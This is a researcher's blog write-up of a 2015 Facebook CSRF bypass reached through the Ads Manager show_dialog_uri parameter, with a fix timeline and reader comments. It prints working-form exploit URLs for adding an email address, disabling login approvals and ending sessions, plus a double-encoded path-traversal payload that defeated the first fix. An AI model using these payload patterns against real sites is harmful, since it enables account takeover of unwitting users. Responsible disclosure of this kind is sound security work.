I discovered a vulnerability in Facebook's Ads Manager flow that could be abused to bypass Facebook's CSRF protection and trigger authenticated actions on behalf of a logged-in user.
The issue came from the way Facebook's AsyncDialog functionality processed the show_dialog_uri parameter. By controlling that value, I could influence the destination of an internal POST request that automatically included Facebook's anti-CSRF token, fb_dtsg.
| Issue | CSRF protection bypass / unsafe internal request construction |
|---|---|
| Impact | Trigger security-sensitive authenticated actions, including account takeover scenarios |
| Bounty | $15,000 |
Facebook's CSRF Protection
Facebook used fb_dtsg as an anti-CSRF token for many state-changing requests.
For protected actions, the server expected a valid token to be included in the request. Without it, the action should normally be rejected.
The question was whether an existing Facebook feature could be abused to generate an authenticated request containing a valid fb_dtsg token while allowing an attacker to control where that request was sent.
The Ads Manager Migration Flow
While testing an Ads Manager migration flow, Facebook redirected me to a URL similar to:
https://www.facebook.com/ads/manage/home/?account_id=XXXX&show_dialog_uri=/ads/manage/error/graydisabled/?account_id=XXXX
The page displayed a dialog for migrating a gray account to a personal account.
During page load, Facebook generated an internal POST request to the path provided in show_dialog_uri.
A simplified version of the request looked like this:
POST /ads/manage/error/graydisabled/?account_id=XXXX HTTP/1.1
Host: www.facebook.com
Content-Type: application/x-www-form-urlencoded
account_id=XXXXX
__asyncDialog=1
__user=
__a=1
__dyn=
__req=
fb_dtsg=
ttstamp=
__rev=
The Interesting Behavior
One detail immediately stood out: account_id appeared both in the requested URL and in the POST body.
I changed the query parameter name inside show_dialog_uri:
https://www.facebook.com/ads/manage/home/?show_dialog_uri=/ads/manage/error/graydisabled/?aaaa=XXXX
Facebook then generated a request containing my modified parameter:
POST /ads/manage/error/graydisabled/?aaaa=XXXX HTTP/1.1
Host: www.facebook.com
Content-Type: application/x-www-form-urlencoded
aaaa=XXXXX
__asyncDialog=1
__user=
__a=1
__dyn=
__req=
fb_dtsg=
ttstamp=
__rev=
This behavior gave me three important properties at the same time:
- A controllable relative URL inside Facebook.
- Attacker-controlled parameters in the generated request.
- A valid
fb_dtsgtoken automatically added by Facebook.
Together, these properties effectively created an authenticated request primitive that could be used to bypass CSRF protection on other Facebook endpoints.
Security-Sensitive Actions
I tested the technique against several Facebook actions. These were examples rather than an exhaustive list of reachable endpoints.
Changing Account Language
/ads/manage/home/?show_dialog_uri=/ajax/settings/account/language.php?new_language=fa_IR
Adding a New Email Address
One of the more serious cases involved adding a new email address to the account:
/ads/manage/home/?show_dialog_uri=/settings/email/add/submit/[email protected]
Depending on the surrounding account-recovery flow, this created an account-takeover path.
Disabling Login Approvals
/ads/manage/home/?show_dialog_uri=/ajax/settings/security/approvals.php?just_enabled_approvals=0
Logging Out Mobile Sessions
/ads/manage/home/?show_dialog_uri=/ajax/settings/mobile/lost_phone.php
Logging Out All Sessions
/ads/manage/home/?show_dialog_uri=/ajax/settings/security/sessions/stop_all.php
Facebook's Initial Fix
After the issue was reported, Facebook restricted show_dialog_uri so that it had to begin with:
/ads/manage/error/graydisabled/?
That prevented me from directly replacing the destination with an arbitrary Facebook endpoint.
I then tested whether the restricted path could still be escaped.
Bypassing the Fix With Double Encoding
A straightforward path traversal attempt did not work because slash characters appearing after the question mark were URL-encoded.
The bypass came from double-encoding the question mark:
%253F
During AsyncDialog processing, one decoding layer was removed. That changed how the remaining path was interpreted and allowed the request path to escape the restricted prefix.
The final payload used a structure similar to:
https://www.facebook.com/ads/manage/home/?account_id&show_dialog_uri=%2Fads%2Fmanage%2Ferror%2Fgraydisabled%2F%253F%2F..%2F..%2F..%2F..%2F..%2Fsettings%2Femail%2Fadd%2Fsubmit%2F%3Fnew_email%3Dpouya%40darabi.me
Resolution
After the bypass was reported, Facebook blocked the second technique as well. The vulnerable show_dialog_uri behavior was ultimately removed.
Disclosure Timeline
| March 29, 2015 — 16:07 | Initial vulnerability reported. |
|---|---|
| March 29, 2015 — 21:15 | Additional details provided. |
| March 30, 2015 — 00:57 | Issue acknowledged by Facebook's security team. |
| March 30, 2015 — 02:10 | Temporary fix deployed. |
| March 30, 2015 — 02:52 | Fix bypass reported. |
| March 30, 2015 — 03:19 | Bypass blocked. |
| March 31, 2015 — 07:10 | $15,000 bounty awarded. |
Impressive and Nice Catch :)
ReplyDeleteThanks Mohamed ;)
DeleteWoooW Great exploit :)
ReplyDeleteThanks :)
DeleteAwesome :)
ReplyDeletethanks :)
DeleteHi Pouya,
ReplyDeleteCongrats a lot, awesome finding :)
It would have also worked even if that account_id parameter didn't appear inside body for parameterless requests, right?
Hi
DeleteThanks :)
in first request,yes
parameter in query string is enough!
hmm, logout all mobile & logout all sessions would also work ;)
DeleteAre those only 2 bugs that made you 2nd in Facebook HOF?
2+1 bug ;)
DeleteOh! So you've already earned more than 23k?
DeleteWhy didn't you write about the other one or is it about to come?
hehe, just being curious :)
yes, in future, I will write about other bug i found!
DeleteCongrats pouya ;)
ReplyDeleteThank You :D
DeleteAwesome and impressive catch :)
ReplyDeleteThank you Shailesh :)
DeleteNice one sir :D
ReplyDeleteThanks ;)
Deletenice catch ! awesome !
ReplyDeleteAwesome Vulnerability Hunting ;-)
ReplyDeleteThanks bro ;)
Deletenace work rabi wafag
ReplyDeleteGreat find.
ReplyDeleteThis comment has been removed by the author.
ReplyDeleteNice hunting
ReplyDeletenice work man
ReplyDeleteIt was a nice find great work
ReplyDeleteCommon Sense prevails...good catch buddy :)
ReplyDeleteSalam
ReplyDeleteKhoshhal misham agar research+bug+... dar zone amniat dashtid baraie ma ham ersal konid :)
www.securitylab.ir
Salam
DeleteHatman ;)
This comment has been removed by the author.
ReplyDeleteNice finding.
ReplyDeleteBetween Couldn't have the CRLF injection worked here?
Thanks, no it wasn't vulnerable to such attacks
DeleteI like to know how can i use this trick against "facebook dialog box" to click to confirmation button programaticaly?
ReplyDeleteThis comment has been removed by the author.
ReplyDeletethank you for your blog .wish you all the best .Facebook
ReplyDelete